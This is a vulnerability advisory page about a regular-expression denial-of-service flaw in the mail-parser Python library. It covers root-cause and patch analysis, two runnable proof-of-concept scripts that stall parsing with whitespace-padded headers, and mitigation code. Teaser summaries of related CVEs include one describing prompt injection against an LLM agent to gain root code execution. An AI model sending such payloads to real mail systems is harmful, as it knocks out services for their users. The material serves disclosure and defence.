CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-129295

CVE-2026-129295: Polynomial Regular Expression Denial of Service (ReDoS) in SpamScope mail-parser

Amit Schendel
Amit Schendel
Senior Security Researcher

Nov 17, 2026·10 min read·1 visit

Executive Summary (TL;DR)

SpamScope mail-parser versions 4.2.0 through 4.6.0 contain two inefficient regular expressions in the address fallback parser and Received header tokenizer. Unauthenticated attackers can trigger quadratic or cubic CPU exhaustion by supplying padded email headers during normal parsing operations. Users must upgrade to version 4.6.1 to resolve the vulnerability.

A Regular Expression Denial of Service (ReDoS) vulnerability exists in SpamScope mail-parser versions 4.2.0 prior to 4.6.1. Two separate regular expressions evaluated during standard email header parsing exhibit quadratic to cubic backtracking complexity when processing headers padded with whitespace or angle brackets. An unauthenticated remote attacker can exploit this flaw by sending a small, RFC-compliant email message, causing parsing worker threads or processes to stall at 100% CPU utilization for extended periods.

Vulnerability Overview

SpamScope mail-parser is an open-source Python library that wraps the Python standard library email module to extract headers, body contents, routing data, and attachments into structured objects. It is commonly deployed in automated ingestion pipelines, including email security gateways, spam filtering services, ticketing platforms, and archival systems. Because these systems process untrusted messages directly from external SMTP relays, the header parsing logic represents a primary unauthenticated network attack surface.

In versions 4.2.0 prior to 4.6.1, mail-parser is vulnerable to Regular Expression Denial of Service (ReDoS), classified under CWE-1333 (Inefficient Regular Expression Complexity). The vulnerability is reachable through the standard entry points parse_from_string(), parse_from_bytes(), and parse_from_file(). No non-default configuration options or unusual API invocations are required to expose the vulnerable code paths.

The flaw stems from two distinct regular expressions used in src/mailparser/utils.py and src/mailparser/const.py: _ADDR_FALLBACK_RE and _CLAUSE_SPLITTER. When presented with email headers containing sequences of uncollapsed whitespace or repeated angle brackets (<), CPython's backtracking regular expression engine experiences polynomial time degradation ranging from quadratic $\mathcal{O}(n^2)$ to cubic $\mathcal{O}(n^3)$ complexity.

Because RFC 5322 permits header line folding via CRLF followed by horizontal whitespace (\r\n ), an attacker can construct a message with up to 100 KB of padding that passes strict MTA line-length limits (such as Postfix's default header_size_limit = 102400). When mail-parser processes such a message, the evaluating Python thread locks a CPU core at 100% utilization for minutes to hours, starving the host application of processing capacity.

Root Cause Analysis

The vulnerability consists of two separate regular expression anti-patterns that trigger polynomial backtracking in the CPython re engine when matching fails after scanning padded substrings.

The first vulnerable pattern is _ADDR_FALLBACK_RE in src/mailparser/utils.py. The get_addresses() function invokes this regex via re.finditer() whenever email.utils.getaddresses(strict=True) fails to extract a valid address—which occurs during normal operation if an unquoted email address is used as a display name (e.g., From: alice@example.com <bob@example.com>). The second alternation branch of _ADDR_FALLBACK_RE is defined as ([^<,]*?)\s*<([^>]+)>. Here, the negated character class [^<,]*? matches any character except < and ,, which includes whitespace (\s). Because it is immediately followed by \s*, any contiguous run of spaces matches both tokens.

When re.finditer() scans a header containing a long run of spaces that is not terminated by <...>, the regex engine must test every possible partition of spaces between [^<,]*? and \s* before determining that no < follows. Furthermore, because finditer() advances the starting offset by one character upon failure and repeats the full scan across the remaining substring, the total number of operations scales cubically $\mathcal{O}(n^3)$ with the length of the whitespace run. Similarly, padding the input with repeated < characters forces quadratic $\mathcal{O}(n^2)$ rescanning.

The second vulnerable pattern is _CLAUSE_SPLITTER in src/mailparser/const.py, defined as (?:^|\s+)(from|by|via|with|id|for|envelope-from)\s+. This expression is invoked via re.split() inside parse_received() to tokenize Received: headers. Prior to parse_received(), the library's JUNK_PATTERN normalization only stripped or collapsed [\t\n], leaving literal ASCII spaces (0x20) intact.

When re.split() evaluates _CLAUSE_SPLITTER against a Received: header containing a long sequence of literal spaces not followed by one of the seven clause keywords, the engine matches \s+ at the first space of the run, fails on the keyword alternation, backtracks to shorten \s+, and then advances the starting offset to the second space in the run to repeat the process. Across a whitespace sequence of length $n$, this conducts $(n \times (n-1)) / 2$ match attempts, resulting in quadratic $\mathcal{O}(n^2)$ execution time.

Code Analysis

The remediation was implemented across commits 037293158cb291caa96635a54449243d32cd4d96, 85e53f820d78ae7c955dafbbcd0e20989a735c2c, and 5aab122f0d763991604d2c2bcc807c6bf2489464 (merged via Pull Request #166). The patch eliminates both polynomial regex evaluations by replacing the ambiguous fallback expression with a deterministic linear tokenizer and normalizing whitespace runs prior to splitting Received: headers.

In src/mailparser/utils.py, the single multi-branch _ADDR_FALLBACK_RE expression was removed entirely. In its place, the maintainers introduced a linear-time state machine _split_address_list() to split comma-delimited entries while respecting double quotes, paired with two unambiguous, non-overlapping regular expressions (_ANGLE_ADDR_RE and _BARE_ADDR_RE):

# Vulnerable implementation prior to 4.6.1:
_ADDR_FALLBACK_RE = re.compile(
    r'"([^"]*?)"\s*<([^>]+)>'  # "Quoted Name" <email@addr>
    r"|([^<,]*?)\s*<([^>]+)>"  # OVERLAPPING: [^<,]*? and \s* both match spaces
    r"|([^\s,<>]+@[^\s,<>]+)"  # bare email@addr
)
 
# Patched implementation in 4.6.1:
# Each pattern uses a single quantifier over a negated character class.
_ANGLE_ADDR_RE = re.compile(r"<([^<>\s]+)>")  # <email@addr>
_BARE_ADDR_RE = re.compile(r"[^\s,<>]+@[^\s,<>]+")  # bare email@addr
 
def _split_address_list(raw: str) -> list[str]:
    items: list[str] = []
    buf: list[str] = []
    in_quotes = False
    for ch in raw:
        if ch == '"':
            in_quotes = not in_quotes
            buf.append(ch)
        elif ch == "," and not in_quotes:
            items.append("".join(buf))
            buf = []
        else:
            buf.append(ch)
    items.append("".join(buf))
    return items
 
def _fallback_addresses(raw: str) -> list[tuple[str, str]]:
    results: list[tuple[str, str]] = []
    for item in _split_address_list(raw):
        angle = _ANGLE_ADDR_RE.search(item)
        if angle:
            # Extract display name via string slicing rather than regex backtracking
            name = item[: angle.start()].strip().strip('"').strip()
            results.append((name, angle.group(1)))
        else:
            bare = _BARE_ADDR_RE.search(item)
            if bare:
                results.append(("", bare.group(0)))
    return results

To address the quadratic backtracking in _CLAUSE_SPLITTER, the patch defines _WS_RUN_RE = re.compile(r"\s+") in src/mailparser/const.py and applies it to header_body immediately before calling _CLAUSE_SPLITTER.split() in src/mailparser/utils.py:

# In src/mailparser/const.py:
_WS_RUN_RE = re.compile(r"\s+")
 
# In src/mailparser/utils.py inside parse_received():
# Collapse any contiguous whitespace run to a single space (0x20) before splitting.
# This guarantees the \s+ token in _CLAUSE_SPLITTER only ever evaluates a 1-char run.
header_body = _WS_RUN_RE.sub(" ", header_body)
parts = _CLAUSE_SPLITTER.split(header_body)

> [!NOTE] > Fix Completeness Assessment: The remediation is structurally sound and complete for both vectors. In _fallback_addresses(), _split_address_list() visits each character exactly once in $\mathcal{O}(n)$ time, and both _ANGLE_ADDR_RE and _BARE_ADDR_RE use mutually exclusive character classes without adjacent overlapping quantifiers. In parse_received(), collapsing all whitespace runs to single spaces with _WS_RUN_RE.sub(" ", header_body) runs in linear time and bounds the \s+ quantifier in _CLAUSE_SPLITTER to a maximum match length of 1 character, preventing quadratic rescanning.

Exploitation

Exploiting CVE-2026-129295 requires no authentication or prior access to the target environment. An attacker only needs the ability to deliver an email message to a service or pipeline that parses incoming mail with mail-parser. Because the vulnerable code paths execute during initial header extraction, the payload is triggered automatically upon message ingestion.

To trigger the cubic $\mathcal{O}(n^3)$ vulnerability in _ADDR_FALLBACK_RE, the attacker must first ensure that Python's strict RFC 5322 parser (email.utils.getaddresses(strict=True)) returns no usable address, causing get_addresses() to enter the fallback path. This is achieved by placing an unquoted email address in the display name position (e.g., alice@example.com <bob@example.com>), followed by a long sequence of spaces. The following proof-of-concept demonstrates this vector:

import time
import mailparser
 
# 1. Include an unquoted email as display name to bypass strict=True parsing
# 2. Append 3,000 spaces without a closing <...> structure
padding_spaces = " " * 3000
malicious_from = f"alice@example.com <bob@example.com>{padding_spaces}"
 
raw_email = (
    f"From: {malicious_from}\r\n"
    "To: recipient@example.com\r\n"
    "Subject: ReDoS Test\r\n"
    "\r\n"
    "Body payload\r\n"
)
 
start_time = time.perf_counter()
# In mail-parser < 4.6.1, this call stalls for ~23.4 seconds on 3,000 spaces
parsed = mailparser.parse_from_string(raw_email)
elapsed = time.perf_counter() - start_time
print(f"Elapsed time: {elapsed:.4f}s")

Empirical measurements on CPython 3.14 confirm the cubic growth rate of the _ADDR_FALLBACK_RE vector: 750 spaces execute in 0.38 seconds, 1,500 spaces require 2.97 seconds ($7.8\times$ increase), 3,000 spaces require 23.4 seconds ($7.9\times$ increase, matching $2^3 = 8$), and 6,000 spaces stall the interpreter for 185.0 seconds. Expanding the padding to 100 KB via RFC 5322 folded header lines (\r\n every 78 characters) stalls the worker process for multiple hours.

To trigger the quadratic $\mathcal{O}(n^2)$ vulnerability in _CLAUSE_SPLITTER, an attacker supplies a Received: header containing a long sequence of spaces followed by a token that is not a valid clause keyword:

import time
from mailparser.utils import parse_received
 
# 25,000 spaces followed by a non-keyword string
padding_spaces = " " * 25000
malicious_received = (
    f"from relay.example.com {padding_spaces}unrecognized_token; "
    "Mon, 10 Aug 2026 09:00:00 +0000"
)
 
start_time = time.perf_counter()
# In mail-parser < 4.6.1, this call stalls for >22 seconds
result = parse_received(malicious_received)
elapsed = time.perf_counter() - start_time
print(f"Elapsed time: {elapsed:.4f}s")

Impact Assessment

CVE-2026-129295 is rated 7.5 (High) under CVSS v3.1 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H). The vulnerability affects system availability (A:H) without impacting confidentiality (C:N) or integrity (I:N). Because CPython's regular expression engine executes in C and holds the Global Interpreter Lock (GIL) during single-string regex evaluation, a backtracking stall blocks the entire OS thread and prevents other Python threads within the same interpreter process from executing bytecode.

In production architectures—such as Celery worker pools, WSGI/ASGI web backends receiving webhook-forwarded emails, SOAR playbooks, or SMTP milter daemons—each malicious email consumes one worker process for minutes or hours. An attacker sending a burst of messages equal to the target's worker concurrency limit can exhaust the entire processing pool, causing legitimate email queues to back up or drop connections.

Furthermore, because standard mail transfer agents (MTAs) permit multiple Received: and address headers per message and allow up to 100 KB of total header data by default, a single email can pack multiple backtracking payloads sequentially. As of publication, CVE-2026-129295 is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, and no active in-the-wild exploitation campaigns have been reported.

Remediation

The primary remediation is to upgrade mail-parser to version 4.6.1 or later, which replaces the vulnerable address fallback regex with linear tokenization and normalizes whitespace before splitting Received: headers. After applying version 4.6.1, parsing an address header with 256 KB of whitespace completes in 0.087 seconds, and parsing a Received: header with 200,000 spaces completes in 0.004 seconds.

pip install --upgrade "mail-parser>=4.6.1"

For environments where an immediate dependency upgrade is not feasible, engineering teams should implement pre-parsing input normalization and header size enforcement before passing raw email data to mailparser. Specifically, collapsing contiguous horizontal whitespace runs ([ ]{2,}) to a single space across raw header bytes neutralizes both the _ADDR_FALLBACK_RE whitespace vector and the _CLAUSE_SPLITTER vector:

import re
import mailparser
 
MAX_HEADER_BYTES = 16384  # Enforce a strict 16 KB cap on total headers
_MULTI_SPACE_RE = re.compile(rb" {2,}")
_MULTI_LT_RE = re.compile(rb"<{2,}")
 
def safe_parse_bytes(raw_email: bytes):
    header_part, sep, body_part = raw_email.partition(b"\r\n\r\n")
    if not sep:
        header_part, sep, body_part = raw_email.partition(b"\n\n")
    
    if len(header_part) > MAX_HEADER_BYTES:
        raise ValueError("Email header section exceeds safety threshold")
    
    # Collapse repeated spaces and '<' characters in headers prior to parsing
    sanitized_headers = _MULTI_SPACE_RE.sub(b" ", header_part)
    sanitized_headers = _MULTI_LT_RE.sub(b"<", sanitized_headers)
    
    return mailparser.parse_from_bytes(sanitized_headers + sep + body_part)

In addition to input sanitization, applications processing untrusted emails should isolate parsing calls inside dedicated subprocess workers with strict wall-clock timeouts (e.g., via multiprocessing or concurrent.futures.ProcessPoolExecutor). Note that thread-based timeouts (ThreadPoolExecutor) cannot forcibly terminate a blocked C-level regex evaluation in Python, whereas terminating a child process immediately reclaims CPU resources.

Official Patches

SpamScopeOfficial GitHub release for mail-parser 4.6.1
SpamScopePull Request #166 containing the linear address tokenizer and whitespace collapsing patches

Fix Analysis (3)

Technical Appendix

CVSS Score
7.5/ 10
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Affected Systems

SpamScope mail-parser (PyPI: mail-parser)

Affected Versions Detail

Product
Affected Versions
Fixed Version
mail-parser
SpamScope
>= 4.2.0, < 4.6.14.6.1
AttributeDetail
CVE IDCVE-2026-129295 (GHSA-r7w7-vpq8-c5vv)
Vulnerability ClassCWE-1333: Inefficient Regular Expression Complexity (ReDoS)
Affected VersionsSpamScope mail-parser >= 4.2.0, < 4.6.1
Attack VectorNetwork (Unauthenticated email delivery via SMTP)
CVSS v3.1 Score7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)
Algorithmic ImpactQuadratic O(n^2) to Cubic O(n^3) CPU exhaustion per message
Exploit StatusProof-of-Concept (PoC) publicly documented
Patched Versionmail-parser 4.6.1

MITRE ATT&CK Mapping

T1499Endpoint Denial of Service
Impact
T1499.003Application Exhaustion Flood
Impact
CWE-1333
Inefficient Regular Expression Complexity

The product uses a regular expression with inefficient algorithmic complexity that can be exploited by an attacker to cause consumption of excessive CPU resources.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing technical breakdown and reproduction details for both polynomial ReDoS vectors.

Vulnerability Timeline

Initial fix commit (037293158cb291caa96635a54449243d32cd4d96) developed for address parsing optimization and ReDoS hardening.
2026-08-10
Secondary security commit (85e53f820d78ae7c955dafbbcd0e20989a735c2c) added to normalize regex whitespace.
2026-08-11
Pull Request #166 merged into main branch via commit 5aab122f0d763991604d2c2bcc807c6bf2489464.
2026-08-12
CVE-2026-129295 reserved by GitHub CNA.
2026-11-13
GitHub Advisory GHSA-r7w7-vpq8-c5vv and CVE-2026-129295 published; NVD assigns CVSS 7.5 High.
2026-11-16
Release of mail-parser version 4.6.1 published to PyPI and GitHub.
2026-11-17

References & Sources

  • [1]GitHub Security Advisory GHSA-r7w7-vpq8-c5vv
  • [2]NVD - CVE-2026-129295 Detail
  • [3]CVE.org Record: CVE-2026-129295
  • [4]CVE List V5 JSON Record for CVE-2026-129295
  • [5]GitHub Pull Request #166: Fix ReDoS and harden parser
  • [6]Fix Commit 037293158cb291caa96635a54449243d32cd4d96
  • [7]Merge Commit 5aab122f0d763991604d2c2bcc807c6bf2489464
  • [8]Hardening Commit 85e53f820d78ae7c955dafbbcd0e20989a735c2c
  • [9]SpamScope mail-parser v4.6.1 Release Notes
  • [10]SpamScope mail-parser GitHub Repository

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•about 1 hour ago•CVE-2026-129297
7.5

CVE-2026-129297: Sender IP Address Spoofing in SpamScope mail-parser

CVE-2026-129297 is an origin validation vulnerability (CWE-345) in the Python library mail-parser prior to version 4.6.2. The MailParser.get_server_ipaddress() method fails to properly isolate MTA-recorded client IP addresses from sender-controlled text within email Received headers. Due to naive substring delimiter matching, appearance-based regular expression scanning, and fail-open header traversal, remote attackers can spoof their originating IP address to bypass email security controls, blocklists, and anti-spam attribution.

Amit Schendel
Amit Schendel
2 views•11 min read
•about 2 hours ago•CVE-2026-129299
6.5

CVE-2026-129299: Uncaught Exceptions and Silent Header Loss via Reflective Attribute Dispatch in SpamScope mail-parser

CVE-2026-129299 (GHSA-24mq-4vc6-2prf) is a parsing and serialization flaw in SpamScope mail-parser prior to version 4.6.2. The library uses reflective Python attribute resolution (getattr) over untrusted email header names and applies caller convenience transformations (such as underscore-to-hyphen folding and _json/_raw suffix stripping) directly to wire headers. An unauthenticated remote attacker can send crafted emails that trigger uncaught TypeError exceptions during JSON serialization or cause security-relevant headers and body content to be silently dropped without setting defect indicators.

Amit Schendel
Amit Schendel
3 views•11 min read
•about 3 hours ago•CVE-2026-129236
7.2

CVE-2026-129236: Command-Line Argument Injection in Kubeshark MCP Server

CVE-2026-129236 is a command-line argument injection vulnerability (CWE-88) in Kubeshark, an eBPF-based network observability tool for Kubernetes. Located within the Model Context Protocol (MCP) server implementation in cmd/mcpRunner.go, the flaw occurs when handling the start_kubeshark tool request. When the MCP server runs with the --allow-destructive flag, the callStartKubeshark function appends the caller-supplied pod_regex parameter directly to the kubeshark tap argument slice without an end-of-options (--) delimiter. Because Kubeshark uses the Cobra and pflag libraries for command-line parsing, any pod_regex value prefixed with a hyphen is interpreted as a CLI flag rather than a positional regular expression. An attacker capable of influencing MCP tool arguments, such as through indirect prompt injection against a connected Large Language Model (LLM) agent, can inject the --set flag to override Helm chart values like tap.docker.registry. Because Kubeshark deploys its worker DaemonSet with privileged security contexts and host networking enabled, redirecting the container image registry allows arbitrary code execution as root across all Kubernetes cluster nodes.

Alon Barad
Alon Barad
6 views•11 min read
•about 4 hours ago•CVE-2026-129235
5.3

CVE-2026-129235: Arbitrary File Write and Argument Injection in Kubeshark MCP Server

Kubeshark versions 53.1.0 prior to 53.4.0 contain an arbitrary file write and path traversal vulnerability (CWE-22) alongside an argument injection vulnerability (CWE-88) in the Model Context Protocol (MCP) server implementation (cmd/mcpRunner.go). The download_file tool fails to validate caller-supplied path and dest arguments, allowing an attacker who influences an AI agent driving kubeshark mcp to write Kubeshark Hub API responses to arbitrary locations writable by the local user. Additionally, the start_kubeshark tool appends the pod_regex argument without flag delimiters, allowing argument injection into the kubeshark tap subcommand.

Amit Schendel
Amit Schendel
5 views•10 min read
•about 5 hours ago•CVE-2026-129300
5.3

CVE-2026-129300: Uncaught Exception Denial of Service in SpamScope mail-parser

CVE-2026-129300 (GHSA-xhrq-2mqv-q8wx) is an unhandled exception vulnerability in SpamScope mail-parser, a Python library used to parse raw emails. When processing an email with a malformed Received header containing an out-of-range year or timezone offset, standard library datetime conversion routines raise OverflowError or OSError. Because the internal error handler only caught TypeError and ValueError, these exceptions escape the parser hierarchy, terminating email ingestion pipelines and causing a denial of service.

Alon Barad
Alon Barad
5 views•8 min read
•about 6 hours ago•CVE-2026-129301
6.5

CVE-2026-129301: Security Scanner Evasion and Batch Denial of Service in SpamScope mail-parser via Unhandled Attachment Exceptions

CVE-2026-129301 (GHSA-8cgq-x343-p74c) is an uncaught exception and MIME interpretation conflict vulnerability in the Python email parsing library mail-parser (versions >= 4.6.0 and < 4.6.3). The write_attachments() function iterates over parsed email attachments without per-attachment exception containment. When processing a specially crafted MIME part containing an RFC 2231-encoded null byte in the filename, a basename exceeding filesystem NAME_MAX limits, or a malformed base64 payload, the function raises an unhandled standard library exception (ValueError, OSError, or binascii.Error). This prematurely aborts the attachment extraction loop, preventing subsequent attachments from being written to disk for downstream security inspection while also triggering unhandled worker crashes in applications that only catch MailParserError.

Amit Schendel
Amit Schendel
6 views•11 min read